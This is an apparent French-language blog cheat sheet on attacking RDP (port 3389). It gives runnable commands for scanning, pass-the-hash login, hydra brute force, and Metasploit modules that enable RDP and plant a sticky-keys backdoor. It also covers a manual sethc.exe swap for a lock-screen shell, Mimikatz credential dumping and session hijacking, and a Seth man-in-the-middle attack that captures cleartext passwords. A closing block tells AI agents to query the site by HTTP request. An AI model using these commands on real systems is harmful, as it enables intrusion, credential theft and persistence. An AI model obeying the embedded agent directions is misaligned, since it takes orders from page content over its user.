# RDP - port 3389

## Scan

*`$ nmap -A -p3389 --script rdp-ntlm-info <target IP>`*

## Connexion

```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp /u:[domain\]<username> /p:<password> /v:<IP>
xfreerdp /u:[domain\]<username> /pth:<hash> /v:<IP>
```

## Screenshot sans idantifiants

```bash
$ crackmapexec rdp <target ip> --nla-screenshot
```

## Bruteforce

*`$ hydra -L user.txt -P pass.txt <target IP> rdp`*

{% hint style="danger" %}
**Attention: Tenter de brute force un service RDP peut entraîner le blocage des comptes**
{% endhint %}

## Post exploitation

Si on arrive à obtenir une session meterpreter sur la machine cible, il est possible de tenter d'activer la fonctionnalité de Remote Desktop Protocol via Metasploit.

```bash
msf6 > use post/windows/mange/enable_rdp
msf6 post(windows/manage/enable_rdp) > set username <username>
msf6 post(windows/manage/enable_rdp) > set password <password>
msf6 post(windows/manage/enable_rdp) > set session X
msf6 post(windows/manage/enable_rdp) > exploit
```

## Persistance / Elevation de privilèges

La session créé avec le module enable\_rdp aura de faible privilèges, on peut tenter une élévation de privilèges en exploitant les touches rémanentes par exemple.

il existe quelques variantes à cela, mais la plus courante commence par une réparation du démarrage de Windows, que ce soit à partir du système d'exploitation hôte ou d'un périphérique d'installation. De là, vous obtiendrez une fenêtre Cmd, et si tout se passe bien, vous devriez avoir suffisamment de privilèges pour apporter des modifications dans le   dossier *System32 .*

Il ne vous reste plus qu'à remplacer l'exécutable Cmd (cmd.exe) par les Sticky Keys (`sethc.exe`). Vous pouvez ensuite démarrer normalement dans le système d'exploitation et à partir de l'écran de verrouillage, une fois que vous avez appuyé 5 fois sur la touche Maj, une fenêtre Cmd apparaît. À partir de là, vous pouvez modifier le mot de passe de l'utilisateur ou exploiter la machine de toute autre manière que vous souhaitez.

Exploitation avec metasploit:

```bash
msf6 > use post/windows/manage/sticky_keys
msf6 post(windows/manage/sticky_keys) > set session X
msf6 post(windows/manage/sticky_keys) > exploit
```

## Dump des identifiants

Avec Mimikatz:

```powershell
mimikatz# privilege::debug
Privilege '20' OK

mimikatz# ts::mstsc
...
...
UserName            'user1'
Domain              'WIN-XXX'
Password            'passwd123'
```

## Session hijacking

Avec Mimikatz:

```powershell
mimikatz# privilege::debug
Privilege '20' OK

mimikatz# ts::sessions
...
...
...
Session: X -
    state: Disconnected
    user: user1 @ XXX
    ...
    ...
    
mimikatz# token::elevate
Token Id: 0
User name:
SID name: NT AUTHORITY\SYSTEM

mimikatz# ts::remote /id:X
```

## MITM (Man-In-The-Middle)

Il est également possible de tenter de voler les idantifiants d'un utilisateur de RDP avec l'outil Seth.

ressource: <https://github.com/SySS-Research/Seth>

On aura également besoin d'installer dsniff si ce n'est pas déjà fait.

*`$ apt install dsniff`*

On va ensuite utiliser Seth de cette manière:

*`$ ./seth.sh <interface> <attacker IP> <target IP> <gateway IP| host IP>`*

Du point de vue de la cible, celle-ci ne verra aucune différence si ce n'est un message d'avertissement signalant une autorité de certificat incorrect mais qui ne lui empêchera pas de lancer la connexion. Si la cible clique sur "yes" pour se connecter l'attaquant recevra alors les identifiants entrés en clair.

![](/files/ZHwiJc6OFnQBc3K2VXpc)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/hacking-protocols/rdp-port-3389.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
